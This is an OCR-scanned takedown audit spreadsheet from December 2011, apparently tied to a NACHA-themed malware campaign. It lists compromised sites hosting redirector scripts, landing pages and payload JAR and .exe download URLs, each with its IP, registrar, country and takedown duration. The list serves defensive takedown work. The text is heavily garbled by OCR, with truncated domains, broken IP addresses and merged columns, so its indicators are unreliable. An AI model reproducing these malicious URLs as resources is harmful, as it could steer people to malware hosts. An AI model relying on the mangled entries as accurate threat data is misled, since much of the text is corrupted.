97346 |htty 'servispro.cz/ajaxam.js 12/6/2011 16:55 12/8/2011 21:32 malware 217.198.115.14Redirector REG-ZONER cz 52.61 | 763 |http://billycharge.com/main.php?page=977334ca118fcb8c
97347 |htty 'zmail.de/adsens. js 12/6/2011 17:31 12/6/2011 19:11 malware 2.165.115.6 Redirector &1 Internet AG DE 1.67 764 |http://billycharge.com/main.php 0d069b45c17e
97348|htty staytuned.99k.org/ccounter.js 12/6/2011 16:57 12/6/2011 19:12 malware 67.220.217.234Redirector eNom, Inc. (R39-LROR) us 2.26 | 765 |http://billycharge.com/main.php?page=db3408bf080473cf
97349 |htty ‘team-building-predeal.ro/ajaxam.js 12/6/2011 17:19 12/7/2011 12:22 malware 12.146.85.90 Redirector uroDomenii RO 19.05 766 |http://billycharge.com/main.php?page=111d937ec38dd17e
97350|htty 'xmacorporation.com/ajaxam. j: 12/6/2011 17:33 12/9/2011 9:19 malware 84.82.153.3 edirector 'WW.HOSTING24.COM S 63.78 767 |http://billycharge.com/main.php?page=7822defe406c0f58
97352|htty 'sunnytime.gr/ccounter.js 12/6/2011 17:05 12/9/2011 17:04 malware 5.25.176.36 Redirector apaki.gr DE 71.98 768 |http://billycharge.com/main.php?page=db3408bf080473cf
97353 |htty 'WWW. or arashi.de, i 12/6/2011 17:32 12/6/2011 20:57 malware 217.160.117.23Redirector 18&1 Internet AG DE 3.42 | 769 |http://journalmy.in/main.php?page=2cd37516bfc47eba
97355 |htty ‘'www.comptoirdelencadr C i 12/6/2011 17:33 12/7/2011 8:12 malware _ 93.88.240.193 Redirector amebay H 14.64 770 |http://billycharge.com/main.php?page=111d937ec38dd17e
97356 |htty 'sven89. hﬂ‘ﬁf‘?f‘ net/ajaxam.j: 12/6/2011 17:21 12/7/2011 8:06 malware _ |76.9.52.229 _Redirector PS-DATENSYSTEME GMBH DE 14.75 771 |http://billycharge.com/main.php?page=111d937ec38dd1i7e
97357 |htty Imuis.nl/adsens. js 12/6/2011 17:34 12/7/2011 9:29 malware {5,17,13444 edirector 23XS Internet Services B.V. L 15.92 772 |http://billycharge.com/main.php 0d069b45c17e
97359 |htty ‘tant: i 12/6/2011 17:22 12/7/2011 19:47 malware 213.180.31.15¢Redirector Elkdata EE 26.42 | 773 |http://journalmy.in/main.php?page=2cd37516bfc47eba
97362 |http://tbattitu.o2switch.net/ajaxam. 12/6/2011 17:30 12/19/2011 8:20 malware 109.234.160.2' ector SPOT DOMAIN LLC DBA DOMAINSITE.COM FR 302.83| 774 |http://billycharge.com/main.php?page=111d937ec38dd1i7e
97473 |htty billydie.com/main. ?page=64078c3dc54bfa8a 12/7/2011 10:00 12/7/2011 11:56 malware '9.137.237.63 |Dedicated Web HostilDIRECTNIC, LTD RU 1.93
97474 |htty .com/main.php?page=db3408bf080473cf 12/7/2011 12:30 12/7/2011 19:50 malware  #6.45.137.206 Redirector NOM, INC. TR 7.34 775
97478 |htty ‘combigave.com/main.php?page=111d937ec38dd17e 12/7/2011 11:52 12/8/2011 3:15 malware  #6.45.137.205 |Dedicated Web Hosti|MONIKER TR 15.38| 776
97507 |htty gtslim ajaxam.js 12/7/2011 17:16 12/7/2011 19:52 malware  50.21.189.92 edirector &1 INTERNET AG us 2.59 777 |http:, com/main. ?page=abfd0d069b45c17e
97509 |htty ‘www.mbsgels.com/bzcounter.js 12/7/2011 17:22 12/8/2011 20:04 malware 174.132. 17gREd\rectur GoDaddy.com, Inc. us 26.69 | 778 |http://irs-charge.com/main. ?page=0c9d859897e4f088
97510 's207455068.0nline.de/adsens. js 12/7/2011 17:37 12/7/2011 19:53 malware 87.106.117.19¢Redirector 1&1 Internet AG DE 2.26 | 779 |http:, com/main. ?page=64078c3dc54bfa8a
97512 5388939403, 12/7/2011 17:38 12/7/2011 19:58 malware 217.160.249.1 ctor INTERNETX ES 2.32| 780 |http:, com/main. 69b45c17e
97513 D com/ccounter.js 12/7/2011 18:09 12/19/2011 7:04 malware 4.23.246.84 Redirector WVH AR R76.93 781 |http:, com/main. page= 408bf080473cf
97514 'southflor ion.com, j 12/7/2011 17:39 12/9/2011 0:33 malware 7.74.215.96 _ Redirector oDaddy.com, Inc. S 30.89 782 |http: com/main. 69b45c17e
97516 net/ajaxam.js 12/7/2011 17:45 12/8/2011 21:06 malware  85.13.128.165 Redirector NTERNETWIRE COMMUNICATIONS GMBH DE 27.34 783 |http:, com/main, 69b45c17e
97522 ‘ajaxam.js 12/7/2011 17:48 12/8/2011 9:05 malware 88.40.51.83 edirector onsulting Service Robert Siebielski DE 15.29 784 |http: com/main. 69b45c17e
97523 nutz.zzl.org/stcounter.js 12/7/2011 17:59 12/7/2011 21:06 malware 67.220.217.234Redirector GoDaddy.com, Inc. (R91-LROR) us 3.13| 785 |http: com/main. ?page=2cd37516bfc47eba
97524 zlatiborskoprozorce.co.rs; i 12/7/2011 17:57 12/8/2011 6:52 malware 6.4.27.23 edirector hostingmania.rs OE 12.92 786 |http:, com/main. ?page=abfd0d069b45c17e
9752 ‘'opportuniti C adsens.js 12/7/2011 18:24 12/7/2011 19:54 malware 87.106.115.14&Redirector 1 &1 Internet AG DE 1.51| 787 |http:, com/main. pag: dc54bfa8a
97572 'Www. kva- ations.com/jscounter.js 12/8/2011 1:50 12/12/2011 6:11 malware 93.108.197.2 Redirector EETWORK SOLUTIONS, LLC. AR 00.36 788 |http: com/main. 65c43d2ba0
97573 j 12/8/2011 2:14 12/9/2011 7:06 malware 12.64.170.91 Redirector inaHosting BS 28.87 789 |http:, com/main. page=db3408bf080473cf
97574 isoptica. ce ajaxam.js 12/8/2011 2:07 12/9/2011 8:56 malware 94.8.30.22 edirector MOM INC. AT 30.82 790 |http:, com/main. 65c43d2ba0
97575 46.45.137.206/content/g43kb6j34kblq6jh34kb6j3kl4.jar 12/8/2011 4:49 12/9/2011 8:41 malware  #6.45.137.206 |Dedicated Web Hosti{IP_ADDR TR 27.86| 791
97585 irs-charge.com/main.php?page=0c9d859897e4f088 12/8/2011 6:00 12/9/2011 12:13 malware 74.136.4.135 |Dedicated Web HostilMONIKER us 30.21| 792
97606 reports-info.com/reportonline109230.pdf.exe 12/8/2011 8:48 12/8/2011 12:15 malware  98.139.135.22 |Dedicated Web Hosti|yahoo.com us 3.44| 793
97607 re.com/main.php?page=d51cf77f71dbd8da 12/8/2011 11:13 12/9/2011 7:57 malware 46.183.217.119Dedicated Web Hosti|DomainCompany LV 20.74| 794
97609 ‘combijump.com/main.php?page=64078c3dc54bfa8a 12/8/2011 14:03 12/9/2011 12:03 malware  #6.45.137.206 |Dedicated Web Hosti{0101 INTERNET, INC. TR 21.99 ayfa Net
97620 ‘www.marlaina.com/jjquery. s 12/8/2011 10:00 | 12/16/2011 12:36 malware 208.109.181.5¢Redirector GoDaddy.com, Inc. us 194.6 | 795 |http com/main. ?page=d00a6e65c43d2ba0
97622 0058715 com/jjquery.js 12/8/2011 10:34 12/9/2011 19:05 malware Redirector INETWORK SOLUTIONS, LLC. us 32.53| 796 '\ttp: com/main. ?page=d00a6e65c43d2ba0
97624 Ikco.in/jscounter.js 12/8/2011 11:24 12/14/2011 0:23 malware edirector irecti Web Services Pvt. Ltd. (R118-AFIN) S 32.98 797 |http: com/main. ?page=977334cal18fcb8c
97626 ‘www.theplastershop.co. ‘ajaxam.js 12/8/2011 15:21 12/9/2011 4:48 malware 1.103.216.94 Redirector Internet Services Ltd K 13.46 798
9762 LUTHRA.NET/jjquery.js. 12/8/2011 12:17 | 12/22/2011 11:23 malware 198.173.123.17Redirector INETWORK SOLUTIONS, LLC. us 335.11| 799 |http: com/main. ?page=d00a6e65c43d2ba0
97629 ‘therallypre ion: Imuis.nl/ajaxam.js 12/8/2011 15:31 12/9/2011 7:04 malware  85.17.134.4 edirector 23XS Internet Services B.V. L 15.55 00
97630 mavipro.com/jjquery.js 12/8/2011 15:30 12/9/2011 5:28 malware 1.169.145.74 Redirector RONON AG DE 13.96 01
97631 t.info/jscounter. js 12/8/2011 12:13 12/8/2011 20:55 malware 2.167.183.47 Redirector oDaddy.com Inc. (R171-LRMS) S 8.71 02 |http:, com/main. ?page=977334cal18fcb8c
97632 Istudio.com.co/jjquery.js 12/8/2011 12:37 12/8/2011 19:50 malware '4.220.207.60 Redirector ODADDY.COM, INC. us 7.22 0.
97634 ‘www.laudarte.com/jscounter. js 12/8/2011 12:44 12/9/2011 14:49 malware 2.1 192.6 Redirector NETWORK SOLUTIONS, LLC. 1 26.09 04 _|http: com/main. ?page=977334cal18fcb8c
97638 anartistbooks.com/jscounter. js 12/8/2011 13:57 12/8/2011 21:00 malware 16.27.95.23 edirector oDaddy.com, Inc. S 7.06 0!
97644 Www .it/jscounter.js 12/8/2011 14:34 12/11/2011 3:25 malware 16.12.217.50 Redirector ELEVIDEOCOM s.r.l. S 60.86 06 |http: com/main. ?page=977334cal18fcb8c
97646 46.183.217.119/content/g43kb6j34kblq6jh34kb6j3kl4.jar 12/8/2011 14:27 12/8/2011 14:58 malware 46.183.217.119Dedicated Web Hosti{IP_ADDR LV 0.52
97702 69.164.205.128/content/g43kb6j34kblq6jh34kb6j3kl4.jar 12/8/2011 22:02 12/9/2011 3:39 malware 69.164.205.12¢Hijacked Website IName.com LLC us 5.62| 807 |na
97726 billycheerful.com/main.php?page=abfd0d069b45c17e 12/9/2011 3:38 12/9/2011 11:59 malware 69.164.20! Dedicated Web Hosti|FASTDOMAIN, INC. us 8.36
97737 -om/main.php?page=abfd0d069b45c17e 12/9/2011 3:45 12/9/2011 11:29 malware 174.140.165.19Dedicated Web HostilDIRECTNIC, LTD us 7.74| 808
97738 174.140.165.194/content/g43kb6j34kblg6ih34kb6i3kl4.jar 12/9/2011 3:45 12/9/2011 12:10 malware 174.140.165.19Dedicated Web Hosti{IP_ADDR us 8.42
97743 174.140.172.141/content/g43kb6i34kblg6ih34kb6i3ki4.jar 12/9/2011 5:02 12/9/2011 18:33 malware 174.140.172.14Dedicated Web Hostil{IP_ ADDR us 13.52| 809
97776 ‘wonderfulworn.com/main ?page=abfd0d069b45c17e 12/9/2011 8:41 2/9/2011 11:38 malware 174.140.165.19Dedicated Web HostilDIRECTNIC, LTD us 2.96
97778 naadenver.com/jjquery.js 12/9/2011 9:16 12/9/2011 19:43 malware 208.65.128.171Redirector TUCOWS, INC. us 10.45| 810
97787 ‘wonderfulwrench.com/main.php?page=2cd37516bfc47eba 12/9/2011 9:34 12/9/2011 16:01 malware  #6.45.137.205 |Dedicated Web HostilWord.Net C ions. TR 6.45| 811
97790 46.45.137.205/content/g43kb6j34kblq6jh34kb6j3kl4.jar 12/9/2011 9:29 12/9/2011 22:10 malware  #6.45.137.205 |Dedicated Web Hosti{IP_ADDR TR 12.69
97792 'mysticer om/jjquery.js 12/9/2011 11:42 | 12/12/2011 16:43 malware  68.180.151.76 Redirector FELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 77.02 2
97797 nabyn.co.kr/jiquery.js 12/9/2011 10:01 | 12/11/2011 22:56 malware 211.245.23.173Redirector Dotname Korea R 60.92
97806 'onure 12/9/2011 10:20 12/12/2011 6:13 malware 4.73.145.10 _Redirector !'QCS TELEKOMUNIKASYON TICARET LTD.STI. TR 67.87 4
‘organy.art.pl/ajaxam.js 12/9/2011 10:26 | 12/13/2011 13:05 malware 193.239.136.5 ector INASK PL 98.65
‘'www.grapevalleytours.com.au/ajaxam.js 12/9/2011 10:33 12/9/2011 21:41 malware 4.235.231.23 Redirector Aust Domains S 11.13 6
het.fr/jiquery.js 12/9/2011 11:19 12/9/2011 16:08 malware 195.68.104.114Redirector |CIENUM FR 4.82
‘www. riggingdy: com, ]]query js 12/9/2011 11:29 | 12/12/2011 16:43 malware 136.92.79 Redirector MELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 77.24 8
‘'www.womenetcetera.com, 12/9/2011 11:37 | 12/15/2011 16:15 malware 2.22.27.173 edirector egister.com S 48.63 9
blog om.au, kquery,]s 12/9/2011 13:10 12/9/2011 16:01 malware 0.87.76.190 edirector letRegistry S 2.84 20 |http://wonderfulwrench ‘main.php?page=abfd0d069b45c17e
om.au/kquery.js 12/9/2011 13:11 12 9/2011 15:58 malware 0.87.76.162  Redirector elbourne IT us 2.78 21
creat\vechangemaker com.au/kquery.js 12/9/2011 13:12 2/9/2011 15:59 malware 0.87.76.162 edirector ust Domains S 2.78 hittp://wonderfulwre com/main. ?page=abfd0d069b45c17e
rus.com/ajaxam.js 12/9/2011 14:28 12 11/2011 7:03 malware 173.192.199.9¢Redirectol INAME.COM LLC us 40.58 | 822
chderfu\wrpifh com/main. ?page=abfd0d069b45c17e 12/9/2011 14:45 12/9/2011 16:16 malware  46.45.137.205 |Dedicated Web Hosti|NAMESECURE.COM TR 1.52
lazysit.net/main. ?page=4a4fd3141d846cdd 12/9/2011 16:40 12/10/2011 9:49 malware 6.45.137.204 |Dedicated Web HostilMONIKER TR 17.15| 823
46.45.137.204/content/g43kb6j34kblq6jh34kb6j3kl4.jar 12/9/2011 16:49 12/12/2011 3:27 malware  #6.45.137.204 |Dedicated Web Hosti{IP_ADDR TR 58.63
‘eryirs.com/main. ?page= 4a4fd3141d846cdd 12/9/2011 17:39 12/9/2011 18:01 malware 173.255.192.21Dedicated Web HostiiNAME.COM LLC us 0.36| 824
.zymichost.com/jjquery.j: 12/9/2011 17:48 12/9/2011 19:35 malware 67.220.217.234Redirector GoDaddy.com, Inc. us 1.78 | 825 |http://eryirs.com/main.php?page=111d937ec38dd1i7e
173.255.192.212/content, g43kb6]34kblq6]h34kb6]3k\4 Jar 12/9/2011 17:45 12/9/2011 18:04 malware 173.255.192.21Dedicated Web Hosti{IP_ ADDR us 0.32
216.119.75.210/jjquery.js 12/9/2011 18:34 12/13/2011 6:09 malware 216.119.75.21(Redirector IP_ADDR us 83.59 6 |http://eryirs.com/main.php?page=111d937ec38dd17e
poydun.in/main.php?page=111d937ec38dd1i7e 12/9/2011 20:26 12/10/2011 5:30 malware 04.12.231.78 |Dedicated Web HostilWebig Domains Solutions Pvt. Ltd. (R131-AFIN) us 9.07 7
designfre co.in/kquery.js 12/9/2011 21:07 12/11/2011 6:58 malware  50.28.15.25 edirector to Z Domains Solutions Pvt. Ltd. (R124-AFIN) S 33.85 8 |poydun.in/main.php?page=abfd0d069b45c17e
173.230.153.47/content/g43kb6j34kblq6jh34kb6j3kl4.jar 12/12/2011 3:49 12/12/2011 4:09 malware 173.230.153.47Dedicated Web HostilIP_ADDR us 0.34 9
com/kquery.js 12/12/2011 6:14 12/12/2011 6:36 malware 88.165.93.5 edirector iensa Solutions BS 0.36 0 |http://lazysit.net/main.php?page=abfd0d069b45c17e
67.211.195.1 ‘content/g43kb6j34kblq6jh34kb6j3kl4.jar 12/12/2011 6:52 12/13/2011 0:38 malware 67.211.195.169Dedicated Web Hosti{IP_ADDR ICA 17.76 1
96.126.120.89/content/g43kb6j34kblq6jh34kb6j3kl4.jar 12/12/2011 6:51 12/12/2011 7:22 malware 6.126.120.89 |Dedicated Web HostilIP_ADDR us 0.53 2
173.255.198.177/content/g43kb6i34kblg6ih34kb6i3ki4.jar 12/12/2011 12:56 | 12/12/2011 14:25 malware 173.255.198.1]Dedicated Web Hostilname.com us 1.48 3
trucktwirl.com/main.php?page=db3408bf080473cf 12/12/2011 14:42 12/13/2011 8:12 malware 174. 140.163,2:3:H|]acked Website INETWORK SOLUTIONS, LLC. us 17.49 4 |N/A
174.140.163.204/content/g43kb6j34kblg6ih34kb6i3kl4.jar 12/12/2011 14:50 12/13/2011 3:55 phish 174.140.163.2(Dedicated Web Hosti{IP-ADDR us 13.08 A
‘errorsuz.com/kquery.js 12/12/2011 17:45 | 12/12/2011 18:41 malware 66.147.240.167Hijacked Website FASTDOMAIN, INC. us 0.93 35 |N/A
ext-marketing i 12/12/2011 18:49 | 12/13/2011 10:08 malware '4.53.140.71 edirector oDaddy.com, Inc. S 15.32 36 |N/A
mari com.au/kquery.js 12/12/2011 22:33 12/20/2011 4:44 malware 02.6.141.214 Redirector letRegistry AU 74.19 37 |http://mari com kquery.js
81.17.140.161/content/g43kb6j34kblq6jh34kb6j3kl4.jar 12/13/2011 3:07 12/13/2011 8:13 malware 1.17.140.161 |Dedicated Web Hosti{IP_ADDR UA 5.1 38
‘'wonderfulyard.com/main. DhD7F'398’db3408bf080473cf 12/13/2011 3:06 12/13/2011 8:12 malware 1.17.140.161 |Dedicated Web Hosti|INTERNET.BS CORP. UA 5.11
'mail2u.com.au, 12/13/2011 6:36 | 12/13/2011 10:14 malware 0.87.76.162 Redirector letRegistry S 3.64 839
om/main. DhD7DagE db3408bf080473cf 12/15/2011 9:18 | 12/16/2011 16:47 malware 9.137.237.67 |Dedicated Web HostiiDIRECTNIC, LTD RU 31.49| 840 [N/A
erveftp.com/main.php?page=db3408bf080473cf 12/13/2011 7:01 | 12/13/2011 13:00 malware 173.230.137.34Dedicated Web Hosti|{no-ip.com us 5.98| 841
173.230.137.34/content; 2.php?f=42 12/13/2011 8:10 | 12/13/2011 16:47 malware 173.230.137.34Dedicated Web Hostil{IP_ ADDR us 8.62 http://sadjumped.com/main.php?page=cb158f384db408da
‘wallsway15.in 12/13/2011 8:26 | 12/13/2011 15:43 malware 78.32.51.69 |Dedicated Web Hosti{Webig Domains Solutions Pvt. Ltd. (R131-AFIN) FR 7.29| 842 |http://dollars4.in/?site=15
om/main.php?pag b158f384db408da 12/13/2011 13:46 12/14/2011 4:50 malware 173.230.137.34Dedicated Web Hostii0101 INTERNET, INC. us 15.08
om/main.php?page=4a4fd3141d846cdd 12/13/2011 13:54 | 12/13/2011 14:50 malware 173.255.219.77Hijacked Website LIME LABS, LLC us 0.94 | 843 [N/A
173.255.219.77/content/g43kb6j34kblq6jh34kb6j3kl4.jar 12/13/2011 13:55 | 12/13/2011 14:52 malware 173.255.219.77Dedicated Web Hosti{IP-ADDR us 0.95 A
173.255.198.153/content/g43kb6j34kblg6ih34kb6i3ki4.jar 12/13/2011 14:51 | 12/13/2011 15:51 malware 173.255.198.19Dedicated Web Hosti{IP_ ADDR us 1.01] 844 |N/A
badthen.com/main.php?page=4a4fd3141d846cdd 12/13/2011 17:10 | 12/13/2011 17:57 malware 173.230.130.19Dedicated Web HostiiBIGROCK SOLUTIONS PRIVATE LIMITED us 0.77| 845
173.230.130.158/content/g43kb6j34kblg6ih34kb6i3kl4.jar 12/13/2011 17:14 12/14/2011 4:32 malware 173.230.130.19Dedicated Web Hosti{IP_ADDR us 11.31
tatic. lyhills-editions.com/jqueri.is 12/13/2011 20:38 12/14/2011 6:17 malware 88.165.56.1 edirector VH AR 9.65 846
‘qualityindustries.co.in/jqueri.js 12/13/2011 20:33 12/15/2011 5:27 malware 16.18.223.82 Redirector ransecute Solutions Pvt. Ltd. (R120-AFIN) S 32.89 847 |http: 'main.php?page=d00a6e65c43d2ba0
financeportal.sytes.net/main ?page=111d937ec38dd17e 12/14/2011 4:54 | 12/14/2011 15:06 malware 174.140.165.9(Dedicated Web HostiiNo-IP.com us 10.19| 848
174.140.165. ‘content/g43kb6j34kblq6jh34kb6j3kl4.jar 12/14/2011 4:59 12/14/2011 6:01 malware 174.140.165.9(Dedicated Web Hosti{IP_ ADDR us 1.04
63.223.78.199/content/g43kb6j34kblq6jh34kb6j3kl4.jar 12/14/2011 6:17 12/16/2011 3:30 malware 3.223.78.199 |Dedicated Web HostilIP_ ADDR PH 45.21| 849
badthese.com/main.php?page=d00aée65c43d2ba0 12/14/2011 6:24 | 12/15/2011 11:26 malware 3.223.78.199 |Dedicated Web HostilMONIKER PH 29.04
easy: com/jqueri.js 12/14/2011 15:24 | 12/14/2011 16:05 malware 0.28.10.112 edirector ET 4 INDIA LIMITED S 0.68 850 |http: tal.sytes.net/main.php?page=111d937ec38dd17e
'WWW.LICEOCONTADORA.EDU.CO/jqueri.js 12/14/2011 15:28 | 12/14/2011 17:09 malware 2.29.72.205 edirector CO INTERNET S.A.S. S 1.7 851 |http: tal.sytes.net/main.php?page=4a4fd3141d846cdd
98462 claireetpi ient.fr/jqueri.js 12/14/2011 15:29 12/15/2011 5: [82.165.54.31 |Redirector [1&1 Internet AG DE 13.96| 852 |http:, tal.sytes.net/main.php?page=abfd0d069b45c17e




[soc 1D Bufi ttack Typ 1P | NACHA TAKEDOWN AUDIT Registrar | Geo DuratiomBillablq Notes
98463 |http://lottocarpets.com/jiquery.js 12/14/2011 15:31 12/19/2011 5:05 fmalware 203.211.132.19Redirector IP MIRROR PTE LTD. DBA IP MIRROR |39 109.58 | 85!
98464/ htt; fasttr om/kquery.js 12/14/2011 15:32 12/15/2011 5:00 malware 7.18.227.161 Redirector NOM, INC. Us 13.47 | 854 |http: erveftp.com/main.php?page=db3408bf080473cf
98465 | htty forgottensunrise.com/kquery.js 12/14/2011 15:29 | 12/16/2011 18:18 malware 94.204.5.67 Redirector IAMESDIRECT HE 50.81 855 |http: tal.sytes.net/main.php?page=abfd0d069b45c17e
98467 |htty invidium.com/jqueri.js 12/14/2011 15:34 | 12/18/2011 16:06 malware 188.65.115.164Redirector INETWORK SOLUTIONS, LLC. UK 96.54 | 856 |http: tal.sytes.net/main.php?page=4a4fd3141d846cdd
98468 |htty lucid.co.kr/jiquery.js 12/14/2011 15:38 12/15/2011 5:27 tmalware 11.43.212.26 Redirector ames. co.kr R 13.83 | 857 |http: tal.sytes.net/main.php?page=111d937ec38dd17e’;
98470 |htty organy.art.pl/jqueri.js 12/14/2011 11:03 12/19/2011 8:18 malware 193.239.136.5 ector INASK PL 117.24 | 858
98471 |htty marcosemporium.com/js.js 12/14/2011 15:40 | 12/16/2011 18:25 malware 7.20.78.237 Redirector NETWORK SOLUTIONS, LLC. S 50.76 | 859 |http://financeportal.sytes.net/main.php?page=899f002ea96106b0
98472|htty mitra-informasi.com/jqueri.js 12/14/2011 15:45 | 12/23/2011 10:52 malware 184.154.94.21(Redirector JustHost.com us 211.13 | 860 |http://financeportal.sytes.net/main.php?page=b778fa3bl04bac2c
98473 |htty pinnatechr com/jqueri.js 12/14/2011 11:11 | 12/15/2011 14:31 malware 174.120.82.21§Redirector IDYNADOT, LLC us 27.33| 861
98474 |htty WWW. ahonka.es/js.js 12/14/2011 15:46 | 12/14/2011 16:10 malware 87.106.246.113Hijacked Website COMALIS DE 0.4| 862
98475 | htty de/jqueri.js 12/14/2011 15:48 | 12/14/2011 17:08 malware  85.13.129.146 Redirector ENIC OE 1.33 | 863
98476 | htty om/jqueri.js 12/14/2011 11:18 12/15/2011 5:29 malware 84.154.229.6 Redirector UCOWS, INC. us 18.18 | 864
98478 |htty tore.com/js.js 12/14/2011 15:52 | 12/18/2011 18:54 malware 0.209 Redirector oDaddy.com, Inc. S 99.03 | 865 |http: tal.sytes.net/main.php?page=899f002ea96106b0
98479 |htty net-income.com.au/jqueri.js 12/14/2011 15:53 | 12/16/2011 13:58 malware 0.87.76.162 Redirector letRegistry S 46.08 | 866 |http://financeportal.sytes.net/main.php?page=b778fa3b104bac2c
98496 | htty 74.201.57.29/content/g43kb6j34kblq6jh34kb6j3kl4.jar 12/14/2011 15:23 12/15/2011 3:14 malware 4.201.57.29 |Dedicated Web Hostil74.201.57.29 us 11.85| 867 [N/A
98507 |htty bedmany.com/main.php?page=64078c3dc54bfasa 12/14/2011 16:32 | 12/15/2011 11:28 malware 3.223.78.199 |Dedicated Web HostilFASTDOMAIN, INC. PH 18.93
98524 |htty .com/kquery. js 12/14/2011 18:06 12/19/2011 4:02 malware  $9.19.30.10 edirector INICS TELEKOMUNIKASYON TICARET LTD.STI. TR 05.93 http://wonderfulyard.com/main.php?page=4a4fd3141d846cdd
98528 | htty 'yazarcanyucel.com/jqueri.js 12/14/2011 18:18 | 12/18/2011 17:09 malware 188.138.16.13&Redirector Kebirhost Internet Services DE 94.86 | 868 |http: erveftp.com/main.php?page=db3408bf080473cf
98530 htty W. i.it/jqueri.js 12/14/2011 19:19 12/19/2011 5:30 malware 16.12.217.55 Redirector ELEVIDEOCOM s.r.l. S 06.18 | 869 |http://wonderfulyard.com/main. ?page=2cd37516bfc47eba’;
98533 |htty 'sammy.dommel.be/kquery.js 12/14/2011 18:38 | 12/30/2011 11:09 malware 193.109.184.81Redirector schedom nv BE 376.51 70 |wonderfulyard.com/main.php?page=4a4fd3141d846cdd
98536 | htty WWW operties.com/jqueri.js 12/14/2011 18:55 12/15/2011 5:13 malware 17.73.238.21 Redirector 1 10.3 71 |wonderfulyard.com/main.php?page=d00a6e65c43d2ba0
98537 |htty 'WWW. pr om/jqueri.js 12/14/2011 19:21 12/18/2011 6:47 malware 69.175.118.1 ector GoDaddy.com, Inc. us 83.44 72 |http://wonderfulyard.com/main ?page=2cd37516bfc47eba’;
98538 | htty ‘www.mabanymisr.com/jqueri.js 12/14/2011 19:49 | 12/18/2011 17:33 malware 74.121.79.98 Redirector oDaddy.com, Inc. S 93.73 73 |wonderfulyard.com/main.php?page=b778fa3b104bac2c
98539 | htty ‘www.schrepfer-gmbh.de/jqueri.js 12/14/2011 19:23 | 12/16/2011 12:38 malware 62.112.137.109Redirector Netdiscounter GmbH DE 41.25 74
98549 |htty tr com/main.php?pa bfd0d069b45c17e 12/14/2011 19:40 12/15/2011 4:57 fmalware '9.137.237.67 |Dedicated Web Hostil1 & 1 INTERNET AG RU 9.29 75
98561 |htty pto.org/main ?page=2cd37516bfc47eba 12/14/2011 19:54 | 12/15/2011 13:27 malware 3.223.78.199 |Dedicated Web HostilVitalwerks Internet Solutions, LLC (R1731-LROR) PH 17.56
98564 |htt; ur om/jqueri.js 12/14/2011 20: 12/28/2011 11:48 malware 67.210.119.15Redirectol GoDaddy.com, Inc. us 327.45| 876 |http://sowr apto.org/main.php?page=d00a6e65c43d2bad
98591 |htty 216.8.179.25/content/g43kb6j34kbla6jh34kb6j3kl4.jar 12/15/2011 1: 12/15/2011 3:36 malware 16.8.179.25 |Dedicated Web Hosti|IP_ ADDR ICA 1.64| 877
98601 |http://badlike.com/main.php?page=db3408bf080473cf 12/15/2011 9: 12/18/2011 21:11 malware 9.137.237.67 |Dedicated Web HostiiNAMESECURE.COM RU 83.83 A
98602|http://46.183.217.119/content, 2.php?f=28 12/15/2011 4: 12/15/2011 4:56 malware  |46.183.217.11¢Dedicated Web Hosti{IP_ ADDR LV 0.3| 878
98603 tr dcore.com/main.php?page=aa0d09bof8fb9d8b 12/15/2011 4: 12/15/2011 4:57 malware _ |46.183.217.11¢Dedicated Web Hosti|ONLINENIC, INC. LV 0.29
98604 ydaynow.com/main.php?pag d733f31565e9c00 12/15/2011 9: 12/15/2011 10:32 malware  |46.183.217.11¢Dedicated Web Hosti|ONLINENIC, INC. LV 0.92| 879 |N/A
98607 evr try.com/main.php?page=38ac9e2fa4bedecd 12/15/2011 8: 12/15/2011 10:52 malware _ |46.183.217.119Dedicated Web Hosti|ONLINENIC, INC. LV 2
98611 tr com/main.php?page=d00aée65c43d2ba0 12/15/2011 6: 12/15/2011 13:40 malware 08.93.118.19 Free Web Hosting NOM, INC. S 7.34 | 880
98612 208.93.118.19/content/q43kb6i34kblq6ih34kb6j3kl4.jar 12/15/2011 6: 12/16/2011 4:48 malware  208.93.118.19 |Dedicated Web Hosti{IP_ADDR UK 22.46
98635 urbantoprtunitiesforme.com/main.php?page=bc3131893636ecbf 12/15/2011 15:; 12/19/2011 19:14 malware  |46.183.217.11¢Dedicated Web Hosti|ONLINENIC, INC. LV 99.46 | 883
98636 you.com/main.php?page=67e6aa9946cd3b9a 12/15/2011 8: 12/15/2011 10:53 malware  |46.183.217.119Dedicated Web Hosti|ONLINENIC, INC. LV 2.13
98651 ragsmile.com/main.php?page=64078c3dc54bfa8a 12/15/2011 9: 12/15/2011 11:03 malware 3.223.78.199 |Dedicated Web HostilBIGROCK SOLUTIONS PRIVATE LIMITED PPH 1.9
98693 Easy4dial.com/jqueri.js 12/15/2011 14: 12/16/2011 12:41 malware  50.28.10.112 Redirector ET 4 INDIA LIMITED S 21.87 | 881 |http://ragsnake.com/main.php?page=111d937ec38dd17e
98696 T om/main.php?page=111d937ec38dd17e 12/15/2011 14: 12/15/2011 15:55 malware 9.137.237.67 |Dedicated Web HostilLIME LABS, LLC RU 1.12 A
98710 ervehttp.com/main.php?page=64078c3dc54bfa8a 12/15/2011 15: 12/16/2011 4:42 malware 173.230.156.89Dedicated Web HostilVITALWERKS INTERNET SOLUTIONS LLC DBA NO-IP us 13.37| 882
98711 173.230.156.85/content/g43kb6j34kblg6ijh34kb6i3kI4.jar 12/15/2011 15: 12/16/2011 3:30 malware 173.230.156. %ﬁﬁ icated Web Hosti{IP_ ADDR us 12.11
98722 bedthese.com/main.php?page= le3edbae! 12/15/2011 16: 12/20/2011 13:46 malware 173.230.156.85Dedicated Web Hosti{INTERNET.BS CORP. us 117.19 his is the landing page
98736 68.71.141.192/content/g43kb6j34kbla6ih34kb6i3ki4.jar 12/15/2011 16: 12/16/2011 4:46 malware 8.71.141.192 |Dedicated Web HostiiNAME.COM LLC us 11.82| 884
98738 bedwill.com/main. ?page=64078c3dc54bfasa 12/15/2011 17: 12/21/2011 7:40 malware 8.71.141.192 |Dedicated Web HostiiNETWORK SOLUTIONS, LLC. us 133.85
98751 ragsmog.com/main.php?page=64078c3dc54bfa8a 12/15/2011 17: 12/19/2011 9:02 malware 207.210.96.177Dedicated Web Hosti|SPIRITDOMAINS/IAREGISTRY us 87.51| 885
98752 207.210.96.177/content/g43kb6j34kbla6ih34kb6j3ki4.jar 12/15/2011 17: 12/16/2011 5:45 malware 207.210.96.177Dedicated Web Hosti|IP_ ADDR us 11.88
